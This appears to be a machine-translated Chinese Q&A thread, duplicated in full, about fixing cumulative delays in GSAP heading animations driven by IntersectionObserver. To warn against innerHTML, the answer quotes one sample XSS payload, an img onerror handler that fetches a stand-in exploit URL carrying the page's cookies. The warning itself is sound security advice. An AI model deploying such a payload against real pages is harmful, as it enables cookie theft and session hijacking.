每个带有 IntersectionObserver 的新动画元素都会出现不必要的延迟
Each new animated element with IntersectionObserver gets an unwanted delay
我正在使用 IntersectionObserver 为滚动上的每个 h1
设置动画。
正如您在代码片段中看到的那样,问题在于每次 h1 都会触发动画。这意味着相交 h1
的每个新动画都需要等待之前的动画完成,结果基本上是每个新 entry.target
的一种增量延迟。那不是我想要的。
我试图在取消 entry.target
之前和之后删除 anim-text
class,但它没有用。
我认为问题出在 //TEXT SPLITTING 部分的 forEach
循环中,但我的所有努力都没有解决问题。
在此先感谢您的帮助!
const titles = document.querySelectorAll("h1");
const titlesOptions = {
root: null,
threshold: 1,
rootMargin: "0px 0px -5% 0px"
};
const titlesObserver = new IntersectionObserver(function(
entries,
titlesObserver
) {
entries.forEach(entry => {
if (!entry.isIntersecting) {
return;
} else {
entry.target.classList.add("anim-text");
// TEXT SPLITTING
const animTexts = document.querySelectorAll(".anim-text");
animTexts.forEach(text => {
const strText = text.textContent;
const splitText = strText.split("");
text.textContent = "";
splitText.forEach(item => {
text.innerHTML += "<span>" + item + "</span>";
});
});
// END TEXT SPLITTING
// TITLE ANIMATION
const charTl = gsap.timeline();
charTl.set(entry.target, { opacity: 1 }).from(".anim-text span", {
opacity: 0,
x: 40,
stagger: 0.1
});
titlesObserver.unobserve(entry.target);
// END TITLE ANIMATION
}
});
},
titlesOptions);
titles.forEach(title => {
titlesObserver.observe(title);
});
* {
color: white;
padding: 0;
margin: 0;
}
.top {
display: flex;
justify-content: center;
align-items: center;
font-size: 2rem;
height: 100vh;
width: 100%;
background-color: #279AF1;
}
h1 {
opacity: 0;
font-size: 4rem;
}
section {
padding: 2em;
height: 100vh;
}
.sec-1 {
background-color: #EA526F;
}
.sec-2 {
background-color: #23B5D3;
}
.sec-3 {
background-color: #F9C80E;
}
.sec-4 {
background-color: #662E9B;
}
<script src="https://cdnjs.cloudflare.com/ajax/libs/gsap/3.2.5/gsap.min.js"></script>
<div class="top">Scroll Down</div>
<section class="sec-1">
<h1>FIRST</h1>
</section>
<section class="sec-2">
<h1>SECOND</h1>
</section>
<section class="sec-3">
<h1>THIRD</h1>
</section>
<section class="sec-4">
<h1>FOURTH</h1>
</section>
让我们在这里稍微简化一下,因为您显示的代码比必要的多得多。另外,你做一些事情的方式有点奇怪,所以也有一些提示。
- 您有一个
if (...) { return } else ...
,它不需要 else
范围:函数 returns,或者我们继续前进。
- 不是检查 "not intersecting" 然后返回,而是检查插入然后 运行。
- 您正在使用
+
使用字符串组合:停止使用它并开始使用现代模板字符串。因此,您使用 `a${b}c`
而不是 "a" + b + "c"
。不再有 +
,不再有与字符串组合相关的错误。
- 您正在使用
.innerHTML
赋值:这是非常危险的,特别是如果其他人的脚本将您的标题更新为文字 HTML 代码,例如 <img src="fail.jpg" onerror="fetch('http://example.com/exploits/send?data='+JSON.stringify(document.cookies)">
之类的。永远不要使用 innerHTML
,使用正常的 DOM 函数(createElement
、appendChild
等)。
- 您使用了很多
const thing = arrow function
而无需 this
保存:只需创建那些普通函数,并从提升中受益(所有普通函数都绑定到范围 在 任何代码实际上 运行s)
- 当使用观察者时,unobserver before 你 运行 观察条目需要启动的代码,特别是如果你是 运行宁不止几行代码。这不是万无一失的,但确实可以大大降低当人们快速滑动或滚动您的元素时您的条目第二次启动的可能性。
- 最后,当然是您的代码不起作用的原因:您正在 selecting 所有
.anim-text span
个元素。包括您已经处理过的标题。因此,当第二个滚动到视图中时,您会 select 在第一个和第二个 标题中 select 所有 span
,然后 stagger-animate 他们的字母。相反,您只想错开当前标题中的字母,因此给它们一个 id
,然后使用 #headingid span
查询 select。
然而,虽然 7 听起来像是解决方法,但由于现代文本的工作方式,您仍然有一个潜在的错误:由于连字,不能保证一个词看起来与 "the collection of the letters that make it up" 相同。例如,如果您使用的字体具有将实际字符串 =>
转换为单个字形 ⇒
的连字(就像一些编程字体所做的那样),那么您的代码将做错事。
但这不一定是现在要解决的问题,更多的是需要注意的问题。您的代码并非普遍有效,但对于 您的 目的来说可能已经足够了。
综上所述,让我们稍微重写一下代码,去掉与问题无关的部分,当然最重要的是,修复问题:
function revealEntry(h1) {
const text = h1.textContent;
h1.textContent = "";
text.split(``).forEach(part => {
const span = document.createElement('span');
span.textContent = part;
h1.appendChild(span);
});
// THIS IS THE ACTUAL FIX: instead of selecting _all_ spans
// inside _all_ headings with .anim-text, we *only* select
// the spans in _this_ heading:
const textSpans = `#${h1.id} span`;
const to = { opacity: 1 };
const from = { opacity: 0, x: -40, stagger: 1 };
gsap.timeline().set(h1, to).from(textSpans, from);
}
function watchHeadings(entries, observer) {
entries.forEach(entry => {
if (entry.isIntersecting) {
const h1 = entry.target;
observer.unobserve(h1);
revealEntry(h1);
}
});
};
const observer = new IntersectionObserver(watchHeadings);
const headings = document.querySelectorAll("h1");
headings.forEach(h1 => observer.observe(h1));
h1 {
opacity: 0;
font-size: 1rem;
}
<script src="https://cdnjs.cloudflare.com/ajax/libs/gsap/3.2.5/gsap.min.js"></script>
<h1 id="a">FIRST</h1>
<h1 id="b">SECOND</h1>
<h1 id="c">THIRD</h1>
<h1 id="d">FOURTH</h1>
我正在使用 IntersectionObserver 为滚动上的每个 h1
设置动画。
正如您在代码片段中看到的那样,问题在于每次 h1 都会触发动画。这意味着相交 h1
的每个新动画都需要等待之前的动画完成,结果基本上是每个新 entry.target
的一种增量延迟。那不是我想要的。
我试图在取消 entry.target
之前和之后删除 anim-text
class,但它没有用。
我认为问题出在 //TEXT SPLITTING 部分的 forEach
循环中,但我的所有努力都没有解决问题。
在此先感谢您的帮助!
const titles = document.querySelectorAll("h1");
const titlesOptions = {
root: null,
threshold: 1,
rootMargin: "0px 0px -5% 0px"
};
const titlesObserver = new IntersectionObserver(function(
entries,
titlesObserver
) {
entries.forEach(entry => {
if (!entry.isIntersecting) {
return;
} else {
entry.target.classList.add("anim-text");
// TEXT SPLITTING
const animTexts = document.querySelectorAll(".anim-text");
animTexts.forEach(text => {
const strText = text.textContent;
const splitText = strText.split("");
text.textContent = "";
splitText.forEach(item => {
text.innerHTML += "<span>" + item + "</span>";
});
});
// END TEXT SPLITTING
// TITLE ANIMATION
const charTl = gsap.timeline();
charTl.set(entry.target, { opacity: 1 }).from(".anim-text span", {
opacity: 0,
x: 40,
stagger: 0.1
});
titlesObserver.unobserve(entry.target);
// END TITLE ANIMATION
}
});
},
titlesOptions);
titles.forEach(title => {
titlesObserver.observe(title);
});
* {
color: white;
padding: 0;
margin: 0;
}
.top {
display: flex;
justify-content: center;
align-items: center;
font-size: 2rem;
height: 100vh;
width: 100%;
background-color: #279AF1;
}
h1 {
opacity: 0;
font-size: 4rem;
}
section {
padding: 2em;
height: 100vh;
}
.sec-1 {
background-color: #EA526F;
}
.sec-2 {
background-color: #23B5D3;
}
.sec-3 {
background-color: #F9C80E;
}
.sec-4 {
background-color: #662E9B;
}
<script src="https://cdnjs.cloudflare.com/ajax/libs/gsap/3.2.5/gsap.min.js"></script>
<div class="top">Scroll Down</div>
<section class="sec-1">
<h1>FIRST</h1>
</section>
<section class="sec-2">
<h1>SECOND</h1>
</section>
<section class="sec-3">
<h1>THIRD</h1>
</section>
<section class="sec-4">
<h1>FOURTH</h1>
</section>
让我们在这里稍微简化一下,因为您显示的代码比必要的多得多。另外,你做一些事情的方式有点奇怪,所以也有一些提示。
- 您有一个
if (...) { return } else ...
,它不需要else
范围:函数 returns,或者我们继续前进。 - 不是检查 "not intersecting" 然后返回,而是检查插入然后 运行。
- 您正在使用
+
使用字符串组合:停止使用它并开始使用现代模板字符串。因此,您使用`a${b}c`
而不是"a" + b + "c"
。不再有+
,不再有与字符串组合相关的错误。 - 您正在使用
.innerHTML
赋值:这是非常危险的,特别是如果其他人的脚本将您的标题更新为文字 HTML 代码,例如<img src="fail.jpg" onerror="fetch('http://example.com/exploits/send?data='+JSON.stringify(document.cookies)">
之类的。永远不要使用innerHTML
,使用正常的 DOM 函数(createElement
、appendChild
等)。 - 您使用了很多
const thing = arrow function
而无需this
保存:只需创建那些普通函数,并从提升中受益(所有普通函数都绑定到范围 在 任何代码实际上 运行s) - 当使用观察者时,unobserver before 你 运行 观察条目需要启动的代码,特别是如果你是 运行宁不止几行代码。这不是万无一失的,但确实可以大大降低当人们快速滑动或滚动您的元素时您的条目第二次启动的可能性。
- 最后,当然是您的代码不起作用的原因:您正在 selecting 所有
.anim-text span
个元素。包括您已经处理过的标题。因此,当第二个滚动到视图中时,您会 select 在第一个和第二个 标题中 select 所有span
,然后 stagger-animate 他们的字母。相反,您只想错开当前标题中的字母,因此给它们一个id
,然后使用#headingid span
查询 select。
然而,虽然 7 听起来像是解决方法,但由于现代文本的工作方式,您仍然有一个潜在的错误:由于连字,不能保证一个词看起来与 "the collection of the letters that make it up" 相同。例如,如果您使用的字体具有将实际字符串 =>
转换为单个字形 ⇒
的连字(就像一些编程字体所做的那样),那么您的代码将做错事。
但这不一定是现在要解决的问题,更多的是需要注意的问题。您的代码并非普遍有效,但对于 您的 目的来说可能已经足够了。
综上所述,让我们稍微重写一下代码,去掉与问题无关的部分,当然最重要的是,修复问题:
function revealEntry(h1) {
const text = h1.textContent;
h1.textContent = "";
text.split(``).forEach(part => {
const span = document.createElement('span');
span.textContent = part;
h1.appendChild(span);
});
// THIS IS THE ACTUAL FIX: instead of selecting _all_ spans
// inside _all_ headings with .anim-text, we *only* select
// the spans in _this_ heading:
const textSpans = `#${h1.id} span`;
const to = { opacity: 1 };
const from = { opacity: 0, x: -40, stagger: 1 };
gsap.timeline().set(h1, to).from(textSpans, from);
}
function watchHeadings(entries, observer) {
entries.forEach(entry => {
if (entry.isIntersecting) {
const h1 = entry.target;
observer.unobserve(h1);
revealEntry(h1);
}
});
};
const observer = new IntersectionObserver(watchHeadings);
const headings = document.querySelectorAll("h1");
headings.forEach(h1 => observer.observe(h1));
h1 {
opacity: 0;
font-size: 1rem;
}
<script src="https://cdnjs.cloudflare.com/ajax/libs/gsap/3.2.5/gsap.min.js"></script>
<h1 id="a">FIRST</h1>
<h1 id="b">SECOND</h1>
<h1 id="c">THIRD</h1>
<h1 id="d">FOURTH</h1>